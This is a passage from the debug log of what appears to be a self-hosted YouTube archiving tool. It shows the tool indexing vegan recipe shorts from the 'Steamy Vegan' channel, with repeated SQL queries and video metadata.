Broccoli 🥦 White Bean 🫘 Quinoa Salad | Tangy, fresh and hella delish 🤤", "upload_date" => "20220720"} 20:28:00.414 [debug] QUERY OK source="sources" db=0.5ms idle=1005.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:00.416 [debug] QUERY OK source="sources" db=1.1ms idle=1005.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:00.418 [debug] QUERY OK source="media_items" db=2.3ms idle=1006.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-20 21:37:16Z], 1] 20:28:00.427 [debug] QUERY OK source="media_items" db=7.8ms idle=1008.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Dill + Broccoli 🥦 White Bean 🫘 Quinoa Salad! \n\nA perfect summer salad that is fresh, tangy and full of plant-based goodness! \n\nSAVE THIS RECIPE ✔️ FOR LATER! \n\n1.5 cups cooked quinoa, chilled\n1 small crown broccoli, chopped\n2 celery stalks, diced\n1 can white beans (kidney, navy, whatever you like)\n1/3 cup fresh dill, chopped\n1/4 cup sweet green relish\n2 tbsp vegan mayo\n1.5 tbsp dijon mustard\nSalt & pepper to taste\n\nSooooooooo good 🤤 Follow @steamyvegankitchen for more delicious and easy plant based goodness! 🌱\n\n#steamyvegankitchen #steamyvegan #vancouvervegan #yvrvegan #vancityvegan #whatscooking #veganeats #vegan #veganshare #veganfoodshare #veganfood #veganrecipes #glutenfree #glutenfreevegan #plantbased #plantbasednutrition #veganfoodporn #veganfoodie #eatplants #vegancuisine #veganaf #easyvegan #glutenfreedairyfree #glutenfreelife #veganworldshare #instavegan #vegansofig #vegansofinstagram", "Dill + Broccoli 🥦 White Bean 🫘 Quinoa Salad | Tangy, fresh and hella delish 🤤", "53fc4898-750a-413d-b18c-76968ff8f56d", 1, [], 11, false, "KRRXKpVsQlA", "https://www.youtube.com/shorts/KRRXKpVsQlA", 291, "/downloads/downloads/alec/Steamy Vegan/2022-07-20 Dill + Broccoli 🥦 White Bean 🫘 Quinoa Salad | Tangy, fresh and hella delish 🤤/Dill + Broccoli 🥦 White Bean 🫘 Quinoa Salad | Tangy, fresh and hella delish 🤤 [KRRXKpVsQlA].NA", false, false, true, 0, ~U[2022-07-20 21:37:16Z], ~U[2026-03-22 03:28:00Z], ~U[2026-03-22 03:28:00Z], "Dill + Broccoli 🥦 White Bean 🫘 Quinoa Salad! \n\nA perfect summer salad that is fresh, tangy and full of plant-based goodness! \n\nSAVE THIS RECIPE ✔️ FOR LATER! \n\n1.5 cups cooked quinoa, chilled\n1 small crown broccoli, chopped\n2 celery stalks, diced\n1 can white beans (kidney, navy, whatever you like)\n1/3 cup fresh dill, chopped\n1/4 cup sweet green relish\n2 tbsp vegan mayo\n1.5 tbsp dijon mustard\nSalt & pepper to taste\n\nSooooooooo good 🤤 Follow @steamyvegankitchen for more delicious and easy plant based goodness! 🌱\n\n#steamyvegankitchen #steamyvegan #vancouvervegan #yvrvegan #vancityvegan #whatscooking #veganeats #vegan #veganshare #veganfoodshare #veganfood #veganrecipes #glutenfree #glutenfreevegan #plantbased #plantbasednutrition #veganfoodporn #veganfoodie #eatplants #vegancuisine #veganaf #easyvegan #glutenfreedairyfree #glutenfreelife #veganworldshare #instavegan #vegansofig #vegansofinstagram", "Dill + Broccoli 🥦 White Bean 🫘 Quinoa Salad | Tangy, fresh and hella delish 🤤", 1, 11, false, "KRRXKpVsQlA", "https://www.youtube.com/shorts/KRRXKpVsQlA", "/downloads/downloads/alec/Steamy Vegan/2022-07-20 Dill + Broccoli 🥦 White Bean 🫘 Quinoa Salad | Tangy, fresh and hella delish 🤤/Dill + Broccoli 🥦 White Bean 🫘 Quinoa Salad | Tangy, fresh and hella delish 🤤 [KRRXKpVsQlA].NA", true, ~U[2022-07-20 21:37:16Z]] 20:28:00.428 [debug] QUERY OK source="sources" db=0.6ms idle=161.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:00.429 [debug] QUERY OK source="media_profiles" db=0.8ms idle=13.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:00.430 [debug] QUERY OK source="media_items" db=0.4ms idle=13.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [680] 20:28:00.430 [debug] Current batch of media processed. Will check again in 1000ms 20:28:00.437 [info] {"source":"oban","duration":232,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:28:01.432 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "We thought we'd pay tribute to the legend Betty White with 3 new YouTube shorts about her dusty muffin. We've got a gluten free blueberry muffin recipe dropping later today that is definitely not very dusty and very tangy. \n\nSubscribe if you enjoy recipe videos and the occasional laughs, we post daily YouTube shorts and weekly recipe videos. Thanks for your support! Janelle", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-20 Betty White’s Dusty Muffin - SNL - 😮😂🤤#shorts #youtubeshorts/Betty White’s Dusty Muffin - SNL - 😮😂🤤#shorts #youtubeshorts [o6wu5vtejyE].NA", "id" => "o6wu5vtejyE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/o6wu5vtejyE", "playlist_index" => 292, "timestamp" => 1658343628, "title" => "Betty White’s Dusty Muffin - SNL - 😮😂🤤#shorts #youtubeshorts", "upload_date" => "20220720"} 20:28:01.433 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1004.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:01.434 [debug] QUERY OK source="sources" db=0.7ms idle=1004.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:01.437 [debug] QUERY OK source="media_items" db=2.6ms idle=1004.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-20 19:00:28Z], 1] 20:28:01.439 [debug] QUERY OK source="media_items" db=1.6ms idle=1.0e3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We thought we'd pay tribute to the legend Betty White with 3 new YouTube shorts about her dusty muffin. We've got a gluten free blueberry muffin recipe dropping later today that is definitely not very dusty and very tangy. \n\nSubscribe if you enjoy recipe videos and the occasional laughs, we post daily YouTube shorts and weekly recipe videos. Thanks for your support! Janelle", "Betty White’s Dusty Muffin - SNL - 😮😂🤤#shorts #youtubeshorts", "1f1273d3-b8e2-45ed-9e2e-77a46448726a", 1, [], 15, false, "o6wu5vtejyE", "https://www.youtube.com/shorts/o6wu5vtejyE", 292, "/downloads/downloads/alec/Steamy Vegan/2022-07-20 Betty White’s Dusty Muffin - SNL - 😮😂🤤#shorts #youtubeshorts/Betty White’s Dusty Muffin - SNL - 😮😂🤤#shorts #youtubeshorts [o6wu5vtejyE].NA", false, false, true, 1, ~U[2022-07-20 19:00:28Z], ~U[2026-03-22 03:28:01Z], ~U[2026-03-22 03:28:01Z], "We thought we'd pay tribute to the legend Betty White with 3 new YouTube shorts about her dusty muffin. We've got a gluten free blueberry muffin recipe dropping later today that is definitely not very dusty and very tangy. \n\nSubscribe if you enjoy recipe videos and the occasional laughs, we post daily YouTube shorts and weekly recipe videos. Thanks for your support! Janelle", "Betty White’s Dusty Muffin - SNL - 😮😂🤤#shorts #youtubeshorts", 1, 15, false, "o6wu5vtejyE", "https://www.youtube.com/shorts/o6wu5vtejyE", "/downloads/downloads/alec/Steamy Vegan/2022-07-20 Betty White’s Dusty Muffin - SNL - 😮😂🤤#shorts #youtubeshorts/Betty White’s Dusty Muffin - SNL - 😮😂🤤#shorts #youtubeshorts [o6wu5vtejyE].NA", true, ~U[2022-07-20 19:00:28Z]] 20:28:01.440 [debug] QUERY OK source="sources" db=0.7ms idle=171.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:01.441 [debug] QUERY OK source="media_profiles" db=0.7ms idle=7.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:01.442 [debug] QUERY OK source="media_items" db=0.7ms idle=7.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [681] 20:28:01.442 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "My favorite Saturday Night Live clip of the legend Betty White. I've got a new recipe video going up later today about my blueberry muffins which I've made vegan and gluten free and definitely not very dry or crusty.\n\nSubscribe for more daily recipe videos and hilarity. Thanks for your support! Janelle", "duration" => 29, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-20 A yeasty muffin can ruin your whole day with Betty White 😂😱#shorts #youtubeshorts/A yeasty muffin can ruin your whole day with Betty White 😂😱#shorts #youtubeshorts [IzShfmB5g5M].NA", "id" => "IzShfmB5g5M", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/IzShfmB5g5M", "playlist_index" => 293, "timestamp" => 1658332810, "title" => "A yeasty muffin can ruin your whole day with Betty White 😂😱#shorts #youtubeshorts", "upload_date" => "20220720"} 20:28:01.444 [debug] QUERY OK source="sources" db=1.1ms idle=5.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:01.444 [debug] QUERY OK source="sources" db=0.4ms idle=4.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:01.448 [debug] QUERY OK source="media_items" db=3.1ms idle=4.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-20 16:00:10Z], 1] 20:28:01.451 [debug] QUERY OK source="media_items" db=2.6ms idle=7.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["My favorite Saturday Night Live clip of the legend Betty White. I've got a new recipe video going up later today about my blueberry muffins which I've made vegan and gluten free and definitely not very dry or crusty.\n\nSubscribe for more daily recipe videos and hilarity. Thanks for your support! Janelle", "A yeasty muffin can ruin your whole day with Betty White 😂😱#shorts #youtubeshorts", "53fa87d2-7282-41ac-b83d-d2b100dc776c", 1, [], 29, false, "IzShfmB5g5M", "https://www.youtube.com/shorts/IzShfmB5g5M", 293, "/downloads/downloads/alec/Steamy Vegan/2022-07-20 A yeasty muffin can ruin your whole day with Betty White 😂😱#shorts #youtubeshorts/A yeasty muffin can ruin your whole day with Betty White 😂😱#shorts #youtubeshorts [IzShfmB5g5M].NA", false, false, true, 2, ~U[2022-07-20 16:00:10Z], ~U[2026-03-22 03:28:01Z], ~U[2026-03-22 03:28:01Z], "My favorite Saturday Night Live clip of the legend Betty White. I've got a new recipe video going up later today about my blueberry muffins which I've made vegan and gluten free and definitely not very dry or crusty.\n\nSubscribe for more daily recipe videos and hilarity. Thanks for your support! Janelle", "A yeasty muffin can ruin your whole day with Betty White 😂😱#shorts #youtubeshorts", 1, 29, false, "IzShfmB5g5M", "https://www.youtube.com/shorts/IzShfmB5g5M", "/downloads/downloads/alec/Steamy Vegan/2022-07-20 A yeasty muffin can ruin your whole day with Betty White 😂😱#shorts #youtubeshorts/A yeasty muffin can ruin your whole day with Betty White 😂😱#shorts #youtubeshorts [IzShfmB5g5M].NA", true, ~U[2022-07-20 16:00:10Z]] 20:28:01.451 [debug] QUERY OK source="sources" db=0.3ms idle=8.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:01.452 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.2ms idle=7.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:01.456 [debug] QUERY OK source="media_items" db=2.9ms idle=8.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [682] 20:28:01.456 [debug] Current batch of media processed. Will check again in 1000ms 20:28:02.457 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Subscribe and enjoy my vegan and gluten free blueberry muffins getting posted soon. Everyone always tells me that gluten free and vegan baking tastes kinda dry but I've figured out some pretty good baking recipes that aren't all that 'dusty'.\n\nEnjoy this hilarious SNL clip with the legend Betty White and stay tuned for more daily recipes and hilarity!", "duration" => 32, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-20 Not so ‘Dusty’ muffins with Betty White 😱#shorts #youtubeshorts/Not so ‘Dusty’ muffins with Betty White 😱#shorts #youtubeshorts [CjMdACbE7bc].NA", "id" => "CjMdACbE7bc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/CjMdACbE7bc", "playlist_index" => 294, "timestamp" => 1658278500, "title" => "Not so ‘Dusty’ muffins with Betty White 😱#shorts #youtubeshorts", "upload_date" => "20220720"} 20:28:02.459 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=1006.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:02.459 [debug] QUERY OK source="sources" db=0.4ms idle=1007.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:02.462 [debug] QUERY OK source="media_items" db=1.8ms idle=1007.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-20 00:55:00Z], 1] 20:28:02.463 [debug] QUERY OK source="media_items" db=1.4ms idle=1005.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Subscribe and enjoy my vegan and gluten free blueberry muffins getting posted soon. Everyone always tells me that gluten free and vegan baking tastes kinda dry but I've figured out some pretty good baking recipes that aren't all that 'dusty'.\n\nEnjoy this hilarious SNL clip with the legend Betty White and stay tuned for more daily recipes and hilarity!", "Not so ‘Dusty’ muffins with Betty White 😱#shorts #youtubeshorts", "8ad069a4-8cd7-4498-b2b9-20f962ed07d0", 1, [], 32, false, "CjMdACbE7bc", "https://www.youtube.com/shorts/CjMdACbE7bc", 294, "/downloads/downloads/alec/Steamy Vegan/2022-07-20 Not so ‘Dusty’ muffins with Betty White 😱#shorts #youtubeshorts/Not so ‘Dusty’ muffins with Betty White 😱#shorts #youtubeshorts [CjMdACbE7bc].NA", false, false, true, 3, ~U[2022-07-20 00:55:00Z], ~U[2026-03-22 03:28:02Z], ~U[2026-03-22 03:28:02Z], "Subscribe and enjoy my vegan and gluten free blueberry muffins getting posted soon. Everyone always tells me that gluten free and vegan baking tastes kinda dry but I've figured out some pretty good baking recipes that aren't all that 'dusty'.\n\nEnjoy this hilarious SNL clip with the legend Betty White and stay tuned for more daily recipes and hilarity!", "Not so ‘Dusty’ muffins with Betty White 😱#shorts #youtubeshorts", 1, 32, false, "CjMdACbE7bc", "https://www.youtube.com/shorts/CjMdACbE7bc", "/downloads/downloads/alec/Steamy Vegan/2022-07-20 Not so ‘Dusty’ muffins with Betty White 😱#shorts #youtubeshorts/Not so ‘Dusty’ muffins with Betty White 😱#shorts #youtubeshorts [CjMdACbE7bc].NA", true, ~U[2022-07-20 00:55:00Z]] 20:28:02.464 [debug] QUERY OK source="sources" db=0.2ms idle=191.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:02.465 [debug] QUERY OK source="media_profiles" db=0.5ms idle=5.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:02.465 [debug] QUERY OK source="media_items" db=0.4ms idle=5.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN 